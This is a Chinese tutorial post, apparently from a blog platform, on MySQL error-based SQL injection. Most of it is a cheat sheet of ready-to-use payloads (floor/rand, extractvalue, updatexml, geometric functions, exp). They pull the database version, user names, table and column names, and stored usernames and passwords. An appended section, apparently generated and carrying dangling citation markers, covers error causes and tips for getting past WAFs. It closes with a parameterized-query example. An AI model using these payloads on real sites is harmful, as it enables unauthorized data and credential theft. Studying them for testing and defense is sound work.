SQL注入之报错注入

报错注入

通过floor报错注入

固定语句公式
union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b

例子

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key 1

可以看到成功爆出了Mysql的版本

1、显示当前数据库名,登陆用户,数据库版本和数据路径

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+group+by+a)b

获取所有的数据库名

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(SELECT distinct concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e)+FROM+information_schema.SCHEMATA+LIMIT+0,1))a+from information_schema.tables+group+by+a)b

2、爆当前数据库中的表

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b

3,爆字段

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=表名+limit+0,1))a+from+information_schema.tables+group+by+a)b

4、爆内容

union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,字段1,0x3a,字段2)+from+表名+limit+0,1))a+from+information_schema.tables+group+by+a)b

ExtractValue报错注入

测试语句

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

爆数据库版本

and extractvalue(1, concat(0x7e, (select @@version),0x7e))

1,爆数据库名

and extractvalue(1, concat(0x7e, (select user()),0x7e))

2,爆表名

and extractvalue(1, concat(0x7e, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),0x7e))

3,爆字段名

and extractvalue(1, concat(0x7e, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1),0x7e))

4,爆字段内容

and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,id,0x3a,flag,0x23) FROM flag limit 0,1)))

UpdateXml报错注入

1,爆数据库版本,用户

and updatexml(1,concat(0x7e,version(),user(),0x7e),1)

2,爆表

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)

3,爆字段

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),0x7e),1)

4,爆字段内容

and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e,(select password from users limit 1,1),0x7e),1)

geometrycollection()报错注入

and geometrycollection((select * from(select * from(select user())a)b));

multipoint()报错注入

and multipoint((select * from(select * from(select user())a)b));

olygon()报错注入

and polygon((select * from(select * from(select user())a)b));

multipolygon()报错注入

and multipolygon((select * from(select * from(select user())a)b));

linestring()报错注入

and linestring((select * from(select * from(select user())a)b));

multilinestring()报错注入

and multilinestring((select * from(select * from(select user())a)b));

exp()报错注入

and exp(~(select * from(select user())a));

### SQL注入报错的原因分析与解决方案 #### 一、SQL注入报错原因 SQL注入过程中出现的报错通常是因为输入的数据破坏了原始SQL语句的语法结构,或者触发了数据库的安全机制。以下是常见的几种报错场景及其成因: 1. **语法错误** 当攻击者尝试通过拼接恶意字符串来修改SQL查询逻辑时,可能会导致SQL语句无法正常解析而引发语法错误。例如,在`sqli-labs`的第一关中,如果仅闭合单引号而不处理后续部分,则可能导致前端页面显示类似“syntax error”的提示[^2]。 2. **权限不足** 数据库操作可能涉及特定用户的访问控制策略。当执行某些敏感命令(如读取文件或调用系统函数)时,若当前账户缺乏相应权限,也会抛出异常信息。 3. **防御措施生效** 现代Web应用往往配备多种防护手段对抗SQL注入威胁,比如WAF(Web Application Firewall),它能够识别并拦截可疑请求;另外还有参数化查询等编程层面的最佳实践可以有效规避此类漏洞的发生。 4. **数据类型冲突** 如果注入点预期接收整数型参数却收到字符型输入,那么转换失败同样会造成运行期崩溃现象。 #### 二、解决SQL注入报错的方法 针对上述提到的各种情形,下面列举了一些通用的技术应对办法: 1. **调整测试载荷(Payload)** 对于简单的语法问题,可以通过精心设计payload使得最终形成的完整query既满足业务需求又能绕过初步筛查。举个例子来说就是采用编码技术隐藏特殊符号的真实含义直到被目标引擎解读为止。 2. **利用条件判断代替直接输出** 考虑到有些场合不允许看到确切的error message,此时可改用布尔盲注法或者其他间接方式获取所需情报而不是依赖显式的fault report. 3. **借助工具自动化探索过程** 使用像SQLMap这样的开源软件可以帮助快速定位潜在风险区域以及自动适应不同的环境配置从而减少手动调试的工作量。假如遇到Windows平台上关于SQLMap本身的setup难题的话,按照官方文档指示逐步排查直至成功部署也是必要的步骤之一[^3]. 4. **增强应用程序安全性建议** - 实施严格的输入验证流程确保所有外部传入的数据都经过适当过滤后再参与内部运算。 - 推荐始终优先选用预编译语句而非动态组装string形式的commands. - 定期审查源码查找任何可能成为突破口的位置加以修正完善。 ```python import pymysql.cursors connection = pymysql.connect(host='localhost', user='user', password='passwd', database='db', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT * FROM users WHERE username=%s AND password=MD5(%s)" cursor.execute(sql, ('admin', 'password')) # 参数绑定防止SQL Injection finally: connection.close() ``` 以上代码片段展示了如何安全地构建SQL查询以防范传统意义上的injection attack。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值